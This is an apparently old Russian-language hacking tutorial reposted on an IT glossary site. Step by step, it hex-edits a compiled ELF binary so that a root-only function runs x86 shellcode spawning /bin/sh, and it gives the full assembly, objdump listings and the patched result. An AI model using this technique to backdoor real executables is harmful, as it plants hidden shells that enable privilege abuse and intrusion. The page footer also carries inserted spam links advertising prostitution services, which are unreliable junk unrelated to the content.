RSS

IT Glossary    1_9  A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  .....  A  Б  В  Г  Д  Ж  З  И  К  Л  М  Н  О  П  Р  С  Т  У  Ф  Х  Ц  Ч

Infectin binariez

Статья не сложная для понимания и думаю многим новичкам будет полезна.

root@darkstar# cat fuck.c

#include <stdio.h>

void suck();

int main()

{

if ( getuid() == 0 ){ suck(); }

exit(1);

}

void suck()

{

write(1,"xaxa",5);

}

root@darkstar# gcc -o fuck fuck.c

root@darkstar# ./fuck

xaxa

root@darkstar#

Нас интересует функция suck(). Допустим, нам нужно чтобы она вызывала шелл.

root@darkstar# objdump -h fuck

fuck: file format elf32-i386

Sections:

Idx Name Size VMA LMA File off Algn

0 .interp 00000013 080480f4 080480f4 000000f4 2**0

CONTENTS, ALLOC, LOAD, READONLY, DATA

1 .note.ABI-tag 00000020 08048108 08048108 00000108 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

2 .hash 0000003c 08048128 08048128 00000128 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

3 .dynsym 000000a0 08048164 08048164 00000164 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

4 .dynstr 000000a0 08048204 08048204 00000204 2**0

CONTENTS, ALLOC, LOAD, READONLY, DATA

5 .gnu.version 00000014 080482a4 080482a4 000002a4 2**1

CONTENTS, ALLOC, LOAD, READONLY, DATA

6 .gnu.version_r 00000030 080482b8 080482b8 000002b8 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

7 .rel.got 00000008 080482e8 080482e8 000002e8 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

8 .rel.plt 00000038 080482f0 080482f0 000002f0 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

9 .init 00000018 08048328 08048328 00000328 2**2

CONTENTS, ALLOC, LOAD, READONLY, CODE

10 .plt 00000080 08048340 08048340 00000340 2**2

CONTENTS, ALLOC, LOAD, READONLY, CODE

11 .text 0000017c 080483c0 080483c0 000003c0 2**4

CONTENTS, ALLOC, LOAD, READONLY, CODE

12 .fini 0000001e 0804853c 0804853c 0000053c 2**2

CONTENTS, ALLOC, LOAD, READONLY, CODE

13 .rodata 0000000e 0804855c 0804855c 0000055c 2**2

CONTENTS, ALLOC, LOAD, READONLY, DATA

14 .data 00000010 0804956c 0804956c 0000056c 2**2

CONTENTS, ALLOC, LOAD, DATA

15 .eh_frame 00000004 0804957c 0804957c 0000057c 2**2

CONTENTS, ALLOC, LOAD, DATA

16 .ctors 00000008 08049580 08049580 00000580 2**2

CONTENTS, ALLOC, LOAD, DATA

17 .dtors 00000008 08049588 08049588 00000588 2**2

CONTENTS, ALLOC, LOAD, DATA

18 .got 0000002c 08049590 08049590 00000590 2**2

CONTENTS, ALLOC, LOAD, DATA

19 .dynamic 000000a0 080495bc 080495bc 000005bc 2**2

CONTENTS, ALLOC, LOAD, DATA

20 .sbss 00000000 0804965c 0804965c 0000065c 2**0

CONTENTS

21 .bss 00000018 0804965c 0804965c 0000065c 2**2

ALLOC

22 .stab 000007a4 00000000 00000000 0000065c 2**2

CONTENTS, READONLY, DEBUGGING

23 .stabstr 00001978 00000000 00000000 00000e00 2**0

CONTENTS, READONLY, DEBUGGING

24 .comment 00000141 00000000 00000000 00002778 2**0

CONTENTS, READONLY

25 .note 00000078 00000000 00000000 000028b9 2**0

CONTENTS, READONLY

gcc добавляет кучу секций, многие из которых можно и вырезать,но весь нужный нам код лежит в секции .text. Посмотрим как он выглядит:

root@darkstar# objdump -d fuck

fuck: file format elf32-i386

Disassembly of section .init:

08048328 <_init>:

8048328: 55 push %ebp

8048329: 89 e5 mov %esp,%ebp

804832b: 83 ec 08 sub $0x8,%esp

804832e: e8 b1 00 00 00 call 80483e4 <call_gmon_start>

8048333: 90 nop

8048334: e8 47 01 00 00 call 8048480 <frame_dummy>

8048339: e8 c2 01 00 00 call 8048500 <__do_global_ctors_aux>

804833e: c9 leave

804833f: c3 ret

Disassembly of section .text:

080483c0 <_start>:

80483c0: 31 ed xor %ebp,%ebp

80483c2: 5e pop %esi

80483c3: 89 e1 mov %esp,%ecx

80483c5: 83 e4 f0 and $0xfffffff0,%esp

80483c8: 50 push %eax

80483c9: 54 push %esp

80483ca: 52 push %edx

80483cb: 68 3c 85 04 08 push $0x804853c

80483d0: 68 28 83 04 08 push $0x8048328

80483d5: 51 push %ecx

80483d6: 56 push %esi

80483d7: 68 c0 84 04 08 push $0x80484c0

80483dc: e8 9f ff ff ff call 8048380 <_init+0x58>

80483e1: f4 hlt

80483e2: 90 nop

80483e3: 90 nop

<...skipped...>

/* Вот отсюда начинается наш код... */

080484c0 <main>:

80484c0: 55 push %ebp

80484c1: 89 e5 mov %esp,%ebp

80484c3: 83 ec 08 sub $0x8,%esp

80484c6: e8 c5 fe ff ff call 8048390 <_init+0x68>

80484cb: 89 c0 mov %eax,%eax

80484cd: 85 c0 test %eax,%eax

80484cf: 75 05 jne 80484d6 <main+0x16>

80484d1: e8 0a 00 00 00 call 80484e0 <suck> /* А вот и вызов нашей функции suck() */

80484d6: 83 ec 0c sub $0xc,%esp

80484d9: 6a 01 push $0x1

80484db: e8 d0 fe ff ff call 80483b0 <_init+0x88>

 

/* Далее идёт код самой функции suck(): */

080484e0 <suck>:

80484e0: 55 push %ebp

80484e1: 89 e5 mov %esp,%ebp

80484e3: 83 ec 08 sub $0x8,%esp

80484e6: 83 ec 04 sub $0x4,%esp

80484e9: 6a 05 push $0x5

80484eb: 68 64 85 04 08 push $0x8048564

80484f0: 6a 01 push $0x1

80484f2: e8 69 fe ff ff call 8048360 <_init+0x38>

80484f7: 83 c4 10 add $0x10,%esp

80484fa: 89 ec mov %ebp,%esp

80484fc: 5d pop %ebp

80484fd: c3 ret

80484fe: 90 nop

80484ff: 90 nop

/* размер кода - всего 32 байта, ну 30 байт без nop'ов */

<...skipped...>

Disassembly of section .fini:

0804853c <_fini>:

804853c: 55 push %ebp

804853d: 89 e5 mov %esp,%ebp

804853f: 53 push %ebx

8048540: 52 push %edx

8048541: e8 00 00 00 00 call 8048546 <gcc2_compiled.+0xa>

8048546: 5b pop %ebx

8048547: 81 c3 4a 10 00 00 add $0x104a,%ebx

804854d: 8d 76 00 lea 0x0(%esi),%esi

8048550: e8 bb fe ff ff call 8048410 <__do_global_dtors_aux>

8048555: 8b 5d fc mov 0xfffffffc(%ebp),%ebx

8048558: c9 leave

8048559: c3 ret

Теперь нам нужен код, размером менее 32 байт, вызывающий /bin/sh:

root@darkstar# cat egg_code.s

.globl _start

_start:

xor %eax,%eax

xor %edx,%edx

push %eax

pushl $0x68732f6e

pushl $0x69622f2f

movl %esp,%ebx

push %eax

pushl %ebx

movl %esp,%ecx

mov $11,%al

int $0x80

xor %eax,%eax

incl %eax

int $0x80

root@darkstar# as -o egg.o egg_code.s; ld -o egg egg.o

root@darkstar# ./egg

sh-2.04# exit

exit

root@darkstar# al -al egg_code.s > hex

<...правим hex...>

root@darkstar# cat hex

 

EF

FF

B

root@darkstar# echo itz 30 bytes

itz 30 bytes

Это как раз то что нужно. Даже не пришлось занимать 2 nop'a ;)

root@darkstar# hexedit fuck

<...editin fuck...>

Ищем нужный фрагмент например по d(это концовка функции suck) или по смещению 0x4e0 и правим код, стоящий до него. Вот что получается:

root@darkstar# objdump -d fuck

<...skipped...>

080484e0 <suck>:

80484e0: 31 c0 xor %eax,%eax

80484e2: 31 d2 xor %edx,%edx

80484e4: 50 push %eax

80484e5: 68 6e 2f 73 68 push $0x68732f6e

80484ea: 68 2f 2f 62 69 push $0x69622f2f

80484ef: 89 e3 mov %esp,%ebx

80484f1: 50 push %eax

80484f2: 53 push %ebx

80484f3: 89 e1 mov %esp,%ecx

80484f5: b0 0b mov $0xb,%al

80484f7: cd 80 int $0x80

80484f9: 31 c0 xor %eax,%eax

80484fb: 40 inc %eax

80484fc: cd 80 int $0x80

80484fe: 90 nop

80484ff: 90 nop

<...skipped...>

root@darkstar# ./fuck

sh-2.04# exit

exit

root@darkstar#

Весь наш код лежит в .text. Внутри может быть только одна функция _start ( если мы пишем прогу на асме и не раскидываем код по функциям ), или несколько ( в сях к примеру ). То есть вот типовая структура сишной проги:

section .init - инициализация проги

section .text

function <_start> - вызываем функцию main()

function <main> - тут уже наш код

function <suck> - тоже наш код, вызывается из main()

... - gcc добавляет ещё некоторые функции, но это не так важно

section .fini - завершение проги

section .data - тут хранятся начальные значения переменных.

Остальные секции, которые добавляет gcc рассматривать не стоит, т.к. это и не нужно.

Технологии поискового маркетинга
Практика поискового маркетинга
Flash
Тэги
XML
DHTML
PHP
MySQL
WebMail
.NET
VBScript
CGI
Графические форматы Интернета
WEB-сайт шаг за шагом
CMS faq
FRAME faq
CSS faq
SSI faq
RSS faq
WAP faq
Web-Designed
Webhints
Файл настроек .htaccess
Настройка robots.txt

seo & website usability inet html os faq hardware faq memory video cpu hdd mainboard faq printer & scaner modem mobiles hackzone


Windows 10 | Registry Windows 10 | Windows7: Общие настройки | Windows7: Реестр | Windows7: Реестр faq | Windows7: Настроки сети | Windows7: Безопасность | Windows7: Брандмауэр | Windows7: Режим совместимости | Windows7: Пароль администратора |  | Минет без презерватива - услуга, которую предоставляют самые изумительные проституткиВладивостока http://vladivostok.prostitutki.beer/services-for-sex/minet-bez-prezervativa/,так что не рассуждайте , а поскорее покупайте ярких беспутниц любого внешнего вида. |  | Копро - услуга, какую даруют самые роковые распутницыВологды http://vologda.prostitutki.beer/services-for-sex/kopro/,так что приобретите для себя эту или попросите другую услугу и блаженство вам гарантировано 100%. | Стриптиз - предпочтение сильных ходоков, с которым управятся только квалифицированные панельные девицы http://novosibirsk.prostitutki.beer/services-for-sex/striptiz/,и ежели вы закажите эту услугу, то на третью одержите поощрение, и еще бонусное приглашение в следующий раз. | SDRAM | DDR2 | DDR3 | Quad Band Memory (QBM) | SRAM | FeRAM | Словарь терминов | Video | nVIDIA faq | ATI faq  | Интегрированное видео faq | TV tuners faq | Терминология | Форматы графических файлов | Работа с цифровым видео(faq) | Кодеки faq | DVD faq | DigitalVideo faq | Video faq (Архив) | CPU | HDD & Flash faq | Как уберечь винчестер | HDD faq | Cable faq | SCSI адаптеры & faq | SSD | Mainboard faq | Printer & Scaner | Благотворительность

На главную | Cookie policy | Sitemap

 ©  2004